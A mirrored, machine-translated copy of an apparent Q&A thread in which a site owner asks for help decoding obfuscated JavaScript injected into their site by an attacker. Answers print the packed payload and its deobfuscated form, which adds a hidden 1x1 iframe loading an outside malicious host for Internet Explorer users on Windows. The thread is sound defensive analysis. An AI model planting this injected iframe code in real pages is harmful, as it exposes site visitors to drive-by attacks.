简体   繁体   English

注入网站的JavaScript代码:你能帮我解密一下吗?

[英]JavaScript code injected into site: Can you help me decrypt it?

Recently I was the victim of a web attack, which seemed to take various PHP server vars, then forward them to an attackers website. 最近我是网络攻击的受害者,它似乎采用了各种PHP服务器变量,然后将它们转发给攻击者网站。 (IPs of visitor/website, referrer, useragent etc, etc.) Then it would get the file it sent the URL request to, and echo() it to source. (访问者/网站的IP,推荐人,使用者等等)然后它会得到它发送URL请求的文件,并将它回显给源。

I know you get MANY of these sort of requests (Mostly as poor man XSS attempts), but I would really appreciate some help here, as I don't have much experience with JS. 我知道你收到了很多这样的请求(主要是作为穷人的XSS尝试),但我非常感谢这里的一些帮助,因为我对JS没有多少经验。 It took me several hours of PHP unscrambling to figure at what it did, and after passing some dummy info, it returned this (which was being echoed into source) 我花了几个小时的PHP解密来计算它做了什么,并且在传递了一些虚拟信息后,它返回了这个(它被回复到源代码中)

<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))

Thank you for your time and patience with this matter. 感谢您对此事的时间和耐心。

Simply replace eval with alert . 只需用alert替换eval

It yields the following: 它产生以下结果:

function MakeFrameEx(){
    element=document.getElementById('yahoo_api');
    if(!element){
        var el=document.createElement('iframe');
        document.body.appendChild(el);
        el.id='yahoo_api';
        el.style.width='1px';
        el.style.height='1px';
        el.style.display='none';
        el.src='http://asso.25u.com/showthread.php?t=72291731'
    }
}

var ua=navigator.userAgent.toLowerCase();

if(((ua.indexOf("msie")!=-1
    &&ua.indexOf("opera")==-1
    &&ua.indexOf("webtv")==-1))
    &&ua.indexOf("windows")!=-1)
{
    var t=setTimeout("MakeFrameEx()",500);
}

After doing the alert() CTRL+C the dialog to get the contents, then use a JS Beautifier to get some readable code. 在执行alert() CTRL + C对话框以获取内容后,使用JS Beautifier获取一些可读代码。


Also note that for some browsers, like Firefox, there are plugins to do this automatically. 另请注意,对于某些浏览器,例如Firefox,有一些插件可以自动执行此操作。 Some browsers even does this automatically (MSIE). 有些浏览器甚至会自动执行此操作(MSIE)。

This was some obfuscated code. 这是一些混淆的代码。 I deobfuscated it and this is what it does: 我对它进行了反混淆处理,这就是它的作用:

function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
    var el = document.createElement('iframe');
    document.body.appendChild(el);
    el.id = 'yahoo_api';
    el.style.width = '1px';
    el.style.height = '1px';
    el.style.display = 'none';
    el.src = 'http://asso.25u.com/showthread.php?t=72291731'
    }
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
    .indexOf("webtv") == -1))
    && ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}

Here is the deobfuscated JavaScript code: 以下是反混淆的JavaScript代码:

 function MakeFrameEx()
 {
   element=document.getElementById('yahoo_api');
   if(!element)
   {
     var el=document.createElement('iframe');
     document.body.appendChild(el);
     el.id='yahoo_api';
     el.style.width='1px';
     el.style.height='1px';
     el.style.display='none';
     el.src='http://asso.25u.com/showthread.php?t=72291731'
   }
 }
 var ua=navigator.userAgent.toLowerCase();
 if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
 {
 var t=setTimeout("MakeFrameEx()",500)}

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM